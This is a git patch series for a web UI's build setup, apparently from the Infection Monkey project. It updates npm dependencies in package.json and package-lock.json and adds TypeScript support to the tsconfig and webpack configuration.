"^0.12.1", "react-jsonschema-form-bs4": "^1.7.1", - "react-particles-js": "^3.3.0", + "react-particles-js": "^3.4.1", "react-redux": "^5.1.2", - "react-router-dom": "^4.3.1", + "react-router-dom": "^5.2.0", "react-spinners": "^0.9.0", + "react-step-wizard": "^5.3.5", "react-table": "^6.10.3", "react-toggle": "^4.1.1", "react-tooltip-lite": "^1.12.0", "redux": "^4.0.4", "sha3": "^2.1.3", - "snyk": "^1.373.1" + "snyk": "^1.427.0", + "source-map-loader": "^1.1.2", + "ts-loader": "^8.0.11", + "typescript": "^4.1.2" }, "snyk": true } diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json new file mode 100644 index 00000000000..a49d5fb4dff --- /dev/null +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -0,0 +1,13 @@ +{ + "compilerOptions": { + "sourceMap": true, + "module": "commonjs", + "target": "es5", + "jsx": "react", + "esModuleInterop": true + }, + "include": [ + "src" + ], + "compileOnSave": false +} diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index b1d8b5218ad..c820b5fd56c 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -4,6 +4,13 @@ const HtmlWebPackPlugin = require("html-webpack-plugin"); module.exports = { module: { rules: [ + { test: /\.tsx?$/, + loader: "ts-loader" + }, + { + test: /\.js$/, + loader: "source-map-loader" + }, { test: /\.js$/, exclude: /node_modules/, @@ -54,6 +61,7 @@ module.exports = { } ] }, + devtool: "source-map", plugins: [ new HtmlWebPackPlugin({ template: "./src/index.html", @@ -61,7 +69,7 @@ module.exports = { }) ], resolve: { - extensions: ['.js', '.jsx', '.css'], + extensions: ['.ts', '.tsx', '.js', '.jsx', '.css'], modules: [ 'node_modules', path.resolve(__dirname, 'src/') From 448d8463627cf0ad1b349bc437d2fa3c7781938a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 9 Dec 2020 10:23:02 +0200 Subject: [PATCH 0215/1360] Moved dev UI dependencies from prod and changed typescript target to es6 --- monkey/monkey_island/cc/ui/package.json | 12 ++++++------ monkey/monkey_island/cc/ui/tsconfig.json | 2 +- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 7a8142d128e..540fe32ec49 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -34,6 +34,8 @@ "@babel/preset-env": "^7.12.1", "@babel/preset-react": "^7.12.5", "@babel/runtime": "^7.12.5", + "@types/node": "^14.14.11", + "@types/react": "^16.14.2", "babel-eslint": "^10.1.0", "babel-loader": "^8.2.1", "copyfiles": "^2.4.0", @@ -51,8 +53,11 @@ "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", "sass-loader": "^7.3.1", + "snyk": "^1.434.4", "style-loader": "^0.22.1", "stylelint": "^13.7.2", + "ts-loader": "^8.0.11", + "typescript": "^4.1.2", "url-loader": "^1.1.2", "webpack": "^4.44.2", "webpack-cli": "^3.3.12", @@ -66,8 +71,6 @@ "@fortawesome/react-fontawesome": "^0.1.12", "@kunukn/react-collapse": "^1.2.7", "@types/jest": "^26.0.15", - "@types/node": "^14.14.9", - "@types/react": "^16.9.56", "@types/react-dom": "^16.9.9", "bootstrap": "^4.5.3", "classnames": "^2.2.6", @@ -110,10 +113,7 @@ "react-tooltip-lite": "^1.12.0", "redux": "^4.0.4", "sha3": "^2.1.3", - "snyk": "^1.427.0", - "source-map-loader": "^1.1.2", - "ts-loader": "^8.0.11", - "typescript": "^4.1.2" + "source-map-loader": "^1.1.2" }, "snyk": true } diff --git a/monkey/monkey_island/cc/ui/tsconfig.json b/monkey/monkey_island/cc/ui/tsconfig.json index a49d5fb4dff..80b20886e14 100644 --- a/monkey/monkey_island/cc/ui/tsconfig.json +++ b/monkey/monkey_island/cc/ui/tsconfig.json @@ -2,7 +2,7 @@ "compilerOptions": { "sourceMap": true, "module": "commonjs", - "target": "es5", + "target": "es6", "jsx": "react", "esModuleInterop": true }, From ea61961ff4ed9c558593a94cc2e1474c9f53a424 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 14 Apr 2021 10:39:04 +0300 Subject: [PATCH 0216/1360] Moved some packages to dev dependencies instead of prod in package.json --- monkey/monkey_island/cc/ui/package-lock.json | 10581 ++++++++++++----- monkey/monkey_island/cc/ui/package.json | 7 +- 2 files changed, 7518 insertions(+), 3070 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index a805a7ba2b9..21234ecf3d0 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,6 +1,6 @@ { "name": "infection-monkey", - "version": "1.9.0", + "version": "1.10.0", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -8,32 +8,143 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/@arcanis/slice-ansi/-/slice-ansi-1.0.2.tgz", "integrity": "sha512-lDL63z0W/L/WTgqrwVOuNyMAsTv+pvjybd21z9SWdStmQoXT59E/iVWwat3gYjcdTNBf6oHAMoyFm8dtjpXEYw==", + "dev": true, "requires": { "grapheme-splitter": "^1.0.4" } }, "@babel/cli": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.8.4.tgz", - "integrity": "sha512-XXLgAm6LBbaNxaGhMAznXXaxtCWfuv6PIDJ9Alsy9JYTOh+j2jJz+L/162kkfU1j/pTSxK1xGmlwI4pdIMkoag==", + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.13.14.tgz", + "integrity": "sha512-zmEFV8WBRsW+mPQumO1/4b34QNALBVReaiHJOkxhUsdo/AvYM62c+SKSuLi2aZ42t3ocK6OI0uwUXRvrIbREZw==", "dev": true, "requires": { - "chokidar": "^2.1.8", + "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents", + "chokidar": "^3.4.0", "commander": "^4.0.1", "convert-source-map": "^1.1.0", "fs-readdir-recursive": "^1.1.0", "glob": "^7.0.0", - "lodash": "^4.17.13", + "lodash": "^4.17.19", "make-dir": "^2.1.0", "slash": "^2.0.0", "source-map": "^0.5.0" }, "dependencies": { + "anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "optional": true, + "requires": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + } + }, + "binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "optional": true + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "optional": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chokidar": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", + "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", + "dev": true, + "optional": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.3.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.5.0" + } + }, "commander": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", "dev": true + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "optional": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "optional": true + }, + "glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "optional": true, + "requires": { + "is-glob": "^4.0.1" + } + }, + "is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "optional": true, + "requires": { + "binary-extensions": "^2.0.0" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "optional": true + }, + "readdirp": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", + "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", + "dev": true, + "optional": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "optional": true, + "requires": { + "is-number": "^7.0.0" + } } } }, @@ -46,53 +157,157 @@ } }, "@babel/compat-data": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.9.6.tgz", - "integrity": "sha512-5QPTrNen2bm7RBc7dsOmcA5hbrS4O2Vhmk5XOL4zWW/zD/hV0iinpefDlkm+tBBy8kDtFaaeEvmAqt+nURAV2g==", - "dev": true, - "requires": { - "browserslist": "^4.11.1", - "invariant": "^2.2.4", - "semver": "^5.5.0" - } + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.13.15.tgz", + "integrity": "sha512-ltnibHKR1VnrU4ymHyQ/CXtNXI6yZC0oJThyW78Hft8XndANwi+9H+UIklBDraIjFEJzw8wmcM427oDd9KS5wA==", + "dev": true }, "@babel/core": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.9.6.tgz", - "integrity": "sha512-nD3deLvbsApbHAHttzIssYqgb883yU/d9roe4RZymBCDaZryMJDbptVpEpeQuRh4BJ+SYI8le9YGxKvFEvl1Wg==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/generator": "^7.9.6", - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helpers": "^7.9.6", - "@babel/parser": "^7.9.6", - "@babel/template": "^7.8.6", - "@babel/traverse": "^7.9.6", - "@babel/types": "^7.9.6", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.13.15.tgz", + "integrity": "sha512-6GXmNYeNjS2Uz+uls5jalOemgIhnTMeaXo+yBUA72kC2uX/8VW6XyhVIo2L8/q0goKQA3EVKx0KOQpVKSeWadQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-compilation-targets": "^7.13.13", + "@babel/helper-module-transforms": "^7.13.14", + "@babel/helpers": "^7.13.10", + "@babel/parser": "^7.13.15", + "@babel/template": "^7.12.13", + "@babel/traverse": "^7.13.15", + "@babel/types": "^7.13.14", "convert-source-map": "^1.7.0", "debug": "^4.1.0", - "gensync": "^1.0.0-beta.1", + "gensync": "^1.0.0-beta.2", "json5": "^2.1.2", - "lodash": "^4.17.13", - "resolve": "^1.3.2", - "semver": "^5.4.1", + "semver": "^6.3.0", "source-map": "^0.5.0" }, "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/generator": { + "version": "7.13.9", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.13.9.tgz", + "integrity": "sha512-mHOOmY0Axl/JCTkxTU6Lf5sWOg/v8nUa+Xkt4zMTftX0wqmb6Sh7J8gvcehBw7q0AhrhAR+FDacKjCZ2X8K+Sw==", + "dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "json5": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", - "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", "dev": true, "requires": { "minimist": "^1.2.5" @@ -103,6 +318,12 @@ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -119,222 +340,977 @@ } }, "@babel/helper-annotate-as-pure": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.8.3.tgz", - "integrity": "sha512-6o+mJrZBxOoEX77Ezv9zwW7WV8DdluouRKNY/IR5u/YTMuKHgugHOzYWlYvYLpLA9nPsQCAAASpCIbjI9Mv+Uw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.12.13.tgz", + "integrity": "sha512-7YXfX5wQ5aYM/BOlbSccHDbuXXFPxeoUmfWtz8le2yTkTZc+BxsiEnENFoi2SlmA8ewDkG2LgIMIVzzn2h8kfw==", "dev": true, "requires": { - "@babel/types": "^7.8.3" + "@babel/types": "^7.12.13" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.8.3.tgz", - "integrity": "sha512-5eFOm2SyFPK4Rh3XMMRDjN7lBH0orh3ss0g3rTYZnBQ+r6YPj7lgDyCvPphynHvUrobJmeMignBr6Acw9mAPlw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.12.13.tgz", + "integrity": "sha512-CZOv9tGphhDRlVjVkAgm8Nhklm9RzSmWpX2my+t7Ua/KT616pEzXsQCjinzvkRvHWJ9itO4f296efroX23XCMA==", "dev": true, "requires": { - "@babel/helper-explode-assignable-expression": "^7.8.3", - "@babel/types": "^7.8.3" - } - }, - "@babel/helper-builder-react-jsx": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx/-/helper-builder-react-jsx-7.9.0.tgz", - "integrity": "sha512-weiIo4gaoGgnhff54GQ3P5wsUQmnSwpkvU0r6ZHq6TzoSzKy4JxHEgnxNytaKbov2a9z/CVNyzliuCOUPEX3Jw==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/types": "^7.9.0" - } - }, - "@babel/helper-builder-react-jsx-experimental": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-react-jsx-experimental/-/helper-builder-react-jsx-experimental-7.9.5.tgz", - "integrity": "sha512-HAagjAC93tk748jcXpZ7oYRZH485RCq/+yEv9SIWezHRPv9moZArTnkUNciUNzvwHUABmiWKlcxJvMcu59UwTg==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-module-imports": "^7.8.3", - "@babel/types": "^7.9.5" + "@babel/helper-explode-assignable-expression": "^7.12.13", + "@babel/types": "^7.12.13" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/helper-compilation-targets": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.9.6.tgz", - "integrity": "sha512-x2Nvu0igO0ejXzx09B/1fGBxY9NXQlBW2kZsSxCJft+KHN8t9XWzIvFxtPHnBOAXpVsdxZKZFbRUC8TsNKajMw==", + "version": "7.13.13", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.13.13.tgz", + "integrity": "sha512-q1kcdHNZehBwD9jYPh3WyXcsFERi39X4I59I3NadciWtNDyZ6x+GboOxncFK0kXlKIv6BJm5acncehXWUjWQMQ==", "dev": true, "requires": { - "@babel/compat-data": "^7.9.6", - "browserslist": "^4.11.1", - "invariant": "^2.2.4", - "levenary": "^1.1.1", - "semver": "^5.5.0" + "@babel/compat-data": "^7.13.12", + "@babel/helper-validator-option": "^7.12.17", + "browserslist": "^4.14.5", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/helper-create-class-features-plugin": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.9.6.tgz", - "integrity": "sha512-6N9IeuyHvMBRyjNYOMJHrhwtu4WJMrYf8hVbEHD3pbbbmNOk1kmXSQs7bA4dYDUaIx4ZEzdnvo6NwC3WHd/Qow==", + "version": "7.13.11", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.13.11.tgz", + "integrity": "sha512-ays0I7XYq9xbjCSvT+EvysLgfc3tOkwCULHjrnscGT3A9qD4sk3wXnJ3of0MAWsWGjdinFvajHU2smYuqXKMrw==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.9.5", - "@babel/helper-member-expression-to-functions": "^7.8.3", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-replace-supers": "^7.9.6", - "@babel/helper-split-export-declaration": "^7.8.3" + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-member-expression-to-functions": "^7.13.0", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-split-export-declaration": "^7.12.13" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, 